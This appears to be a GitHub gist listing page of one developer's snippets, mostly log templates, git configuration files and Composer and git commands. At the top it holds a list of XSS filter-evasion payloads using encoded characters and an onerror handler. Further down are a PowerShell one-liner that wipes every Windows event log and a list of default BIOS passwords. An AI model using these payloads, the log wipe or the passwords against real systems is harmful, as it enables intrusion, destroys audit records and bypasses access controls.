Skip to content

Instantly share code, notes, and snippets.

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@Yousha
Yousha / gist:3d4c171edb7d39b068a0ab16bab3788e
Created June 16, 2020 08:56
Troubleshooting information
Application:
Name
Version
Build number
Locale
Last update
Architecture
API
Compiler/SAPI
Builder
@Yousha
Yousha / gist:32e918743e7898fe74594a877ac064e3
Last active June 16, 2020 08:55
Application log template
[Date Time] [ProcessId/ThreadId] [Application.ClassName.MethodName] Message
@Yousha
Yousha / gist:3a8631d953430cc9fa4077c6ce4bc974
Created June 16, 2020 08:54
Application issue template
Application name-version
Type
[Code]
Message
File
Line
Caller
Thread
Thread priority
Time
@Yousha
Yousha / gist:abddf4c79afd7e11db1dd33e8cb08da5
Created June 16, 2020 08:52
Clear Windows event-logs (run in PowerShell)
wevtutil el | Foreach-Object {Write-Host "Clearing $_"; wevtutil cl "$_"}
@Yousha
Yousha / BIOS_default_passwords.txt
Created June 16, 2020 08:51
BIOS default passwords
AWARD BIOS:
01322222
589589
589721
595595
598598
aLLy
aLLY
ALLY
ALFAROME
@Yousha
Yousha / .gitattributes
Created February 13, 2019 18:24
.gitattributes for .Net developers.
* text=auto
###### Git
.gitattributes text
.gitignore text
.gitconfig text
.gitmodules text
##### Windows
*.bat text eol=crlf
@Yousha
Yousha / .gitignore
Last active May 18, 2020 09:43
.gitignore for .Net developers.
##### Windows
# Windows thumbnail cache files
Thumbs.db
Thumbs.db:encryptable
ehthumbs.db
ehthumbs_vista.db
# Dump file
*.stackdump
@Yousha
Yousha / gist:1fc89ff78b02647a8f787a54c81b2c5c
Last active June 16, 2020 08:37
Install common PHP tools via Composer
composer global require phpunit/phpunit
composer global require phpunit/phpunit-skeleton-generator
composer global require phpunit/dbunit
composer global require phpunit/php-invoker
composer global require codeception/codeception
composer global require nette/tester
composer global require jonathantorres/construct
composer global require phing/phing
composer global require sebastian/phpcpd
composer global require phploc/phploc
@Yousha
Yousha / gist:7bf2d1f81578c72e2978391c57ad4f0a
Created January 22, 2019 20:29
Update forked(origin) repository from upstream
git clone [email protected]:myusername/myforkedrepo.git
git remote add upstream git://github.com/targetusername/targetrepo.git
git fetch upstream
git pull upstream master